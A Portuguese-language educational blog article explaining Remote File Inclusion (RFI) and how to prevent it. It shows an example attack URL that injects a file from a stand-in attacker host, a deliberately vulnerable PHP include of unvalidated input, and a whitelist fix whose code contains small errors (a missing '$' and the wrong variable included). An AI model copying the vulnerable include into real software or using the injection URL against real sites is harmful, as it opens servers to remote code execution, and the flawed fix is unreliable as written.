Saiba Tudo Sobre Inclusão de Arquivos Remotos (RFI)

Adriano Martins Antonio

Adriano Martins Antonio

em 15 de maio de 2020
Saiba Tudo Sobre Inclusão de Arquivos Remotos (RFI)

Fique ligado

​Entre para nossa lista e receba conteúdos exclusivos e com prioridade

Saiba Tudo Sobre Inclusão de Arquivos Remotos (RFI)

Conforme a internet e tecnologia avança, mais opções e facilidades o usuário tem para resolver tarefas e transações via internet. Acompanhando esta evolução, estão os ataques, que tentam roubar informações e causar outros tipos de danos. Diversos tipos de ataques são usados na tentativa de obter informações confidenciais e importantes, dentre eles o SQL Injection, XSS e RFI.

Curso GRÁTIS: Curso Online ISO 27001 Overview

  • O que é RFI?

O RFI (traduzido significa: Inclusão de Arquivos Remotos) é um tipo de vulnerabilidade que ocorre pela falta de validação na entrada de dados pelo usuário, onde scripts são passados para uma aplicação WEB.

  • Para que serve?

Uma aplicação que seja vulnerável ao RFI permite que o invasor faça inclusão de códigos (de arquivo hospedado remotamente) em um script executado no servidor que hospeda a aplicação.

Quando o código do invasor é executado no servidor, ele poderá roubar arquivos temporários, além de manipular informações e demais arquivos deste servidor.

Grátis! Curso Online Ethical Hacking Overview

  • Como funciona:

Um atacante tentará identificar a vulnerabilidade de algum site, verificando a sua URL. Considere o seguinte site:

www.exemplo.com/index.php?page=PageName

O usuário mal intencionado tentará inserir um link contendo o código malicioso, como a seguir:

www.exemplo.com/index.php?page=http://www.ataque.com/arquivo.php

Se o site for vulnerável, ele abrirá o link remoto, e, portanto, o usuário poderá prosseguir com o ataque.

Grátis! Curso Online Secure Programming Overview

  • Prevenção

Assim como os demais tipos de ataques, o RFI aproveita de entrada de dados de forma não segura. Dessa forma, a melhor forma para evitar ataques RFI é validar todas as páginas que sejam incluídas.

  • Exemplo:

A seguir apresentamos um trecho de um código em PHP que está programado de uma forma que torna uma página vulnerável.

?php

Include ($_GET[‘pagina’]);

?>

Neste código, a variável ‘pagina’ não é validada em nenhum momento, deixando o caminho aberto para a inclusão de arquivos remotos. Para solucionar este tipo de vulnerabilidade, o caminho ideal seria modificar o código fonte, fazendo as validações necessárias na entrada dos dados. Vamos ver um exemplo no trecho do código a seguir:

?php

var = $_GET[‘pagina’];
$pages = array(‘index.php’, ‘pagina1.php’, ‘pagina2.php’);
If(in_array ($var, $pages))
{
Include($pagina);
} else {
die (“tentativa de ataque”);
}

?>

Então, como podemos perceber, a validação na entrada de dados do usuário, é extremamente importante para evitar ataques de inclusão de arquivos remotos. A falta de tratamento nos dados sempre deixará a aplicação vulnerável.

Devemos partir do seguinte princípio: “Não confie em tudo que o usuário digitará”. Toda linguagem de programação possui recursos que permite tratar dados e formulários, seja por arrays ou outras funções.

Leia também nossos artigos sobre a carreiras na área de:

Compartilhar no facebook
Facebook
Compartilhar no google
Google+
Compartilhar no twitter
Twitter
Compartilhar no linkedin
LinkedIn

Artigos Relacionados

Manifesto ágil
Artigos
Henrique Mata

O Manifesto Ágil!

O Manifesto Ágil! Lembra que falamos sobre o movimento da agilidade no post anterior? Então,

Leia Mais »

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *

×

Olá Visitante! 😊 Você têm: Expirado!
00 Days
00 Hrs
00 Mins
00 Secs
para aproveitar o desconto de 15% (apenas nos cursos) Resgatar Agora!

@

Não ativo recentemente
X
X
X